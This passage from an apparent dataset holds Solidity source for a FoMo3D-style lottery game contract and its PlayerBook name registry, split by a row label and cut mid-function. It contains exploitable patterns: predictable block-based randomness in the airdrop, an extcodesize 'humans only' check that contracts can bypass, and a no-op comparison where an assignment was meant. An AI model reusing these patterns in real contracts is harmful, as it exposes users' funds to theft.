address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot.mul(20)) / 100;
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin1.transfer(_com.sub(_com / 2));
admin2.transfer(_com / 2);
round_[_rID].pot = _pot.add(_p3d);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 50;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d = 0;
if (!address(admin1).call.value(_com.sub(_com / 2))())
{
_p3d = _p3d.add(_com.sub(_com / 2));
}
if (!address(admin2).call.value(_com / 2)())
{
_p3d = _p3d.add(_com / 2);
}
_com = _com.sub(_p3d);
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
admin1.transfer(_aff.sub(_aff / 2));
admin2.transfer(_aff / 2);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
round_[_rID].pot = round_[_rID].pot.add(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(15)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require((msg.sender == admin1 || msg.sender == admin2), "only admin can activate");
require(activated_ == false, "already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 766 |
pragma solidity ^0.4.24;
interface PlayerBookReceiverInterface {
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external;
function receivePlayerNameList(uint256 _pID, bytes32 _name) external;
}
contract PlayerBook {
using NameFilter for string;
using SafeMath for uint256;
address private admin = msg.sender;
uint256 public registrationFee_ = 10 finney;
mapping(uint256 => PlayerBookReceiverInterface) public games_;
mapping(address => bytes32) public gameNames_;
mapping(address => uint256) public gameIDs_;
uint256 public gID_;
uint256 public pID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Player) public plyr_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_;
struct Player {
address addr;
bytes32 name;
uint256 laff;
uint256 names;
}
constructor()
public
{
plyr_[1].addr = 0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53;
plyr_[1].name = "justo";
plyr_[1].names = 1;
pIDxAddr_[0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53] = 1;
pIDxName_["justo"] = 1;
plyrNames_[1]["justo"] = true;
plyrNameList_[1][1] = "justo";
plyr_[2].addr = 0x8b4DA1827932D71759687f925D17F81Fc94e3A9D;
plyr_[2].name = "mantso";
plyr_[2].names = 1;
pIDxAddr_[0x8b4DA1827932D71759687f925D17F81Fc94e3A9D] = 2;
pIDxName_["mantso"] = 2;
plyrNames_[2]["mantso"] = true;
plyrNameList_[2][1] = "mantso";
plyr_[3].addr = 0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C;
plyr_[3].name = "sumpunk";
plyr_[3].names = 1;
pIDxAddr_[0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C] = 3;
pIDxName_["sumpunk"] = 3;
plyrNames_[3]["sumpunk"] = true;
plyrNameList_[3][1] = "sumpunk";
plyr_[4].addr = 0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C;
plyr_[4].name = "inventor";
plyr_[4].names = 1;
pIDxAddr_[0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C] = 4;
pIDxName_["inventor"] = 4;
plyrNames_[4]["inventor"] = true;
plyrNameList_[4][1] = "inventor";
pID_ = 4;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isRegisteredGame()
{
require(gameIDs_[msg.sender] != 0);
_;
}
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
function checkIfNameValid(string _nameStr)
public
view
returns(bool)
{
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0)
return (true);
else
return (false);
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID)
{
plyr_[_pID].laff = _affCode;
} else if (_affCode == _pID) {
_affCode = 0;
}
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function addMeToGame(uint256 _gameID)
isHuman()
public
{
require(_gameID <= gID_, "silly player, that game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _totalNames = plyr_[_pID].names;
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
function useMyOldName(string _nameString)
isHuman()
public
{
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own");
plyr_[_pID].name = _name;
}
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all)
private
{
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
admin.transfer(address(this).balance);
if (_all == true)
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
}
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
return (true);
} else {
return (false);
}
}
function getPlayerID(address _addr)
isRegisteredGame()
external
returns (uint256)
{
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID)
external
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID)
external
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID)
external
view
returns (address)
{
return (plyr_[_pID].addr);
}
function getNameFee()
external
view
returns (uint256)
{
return(registrationFee_);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
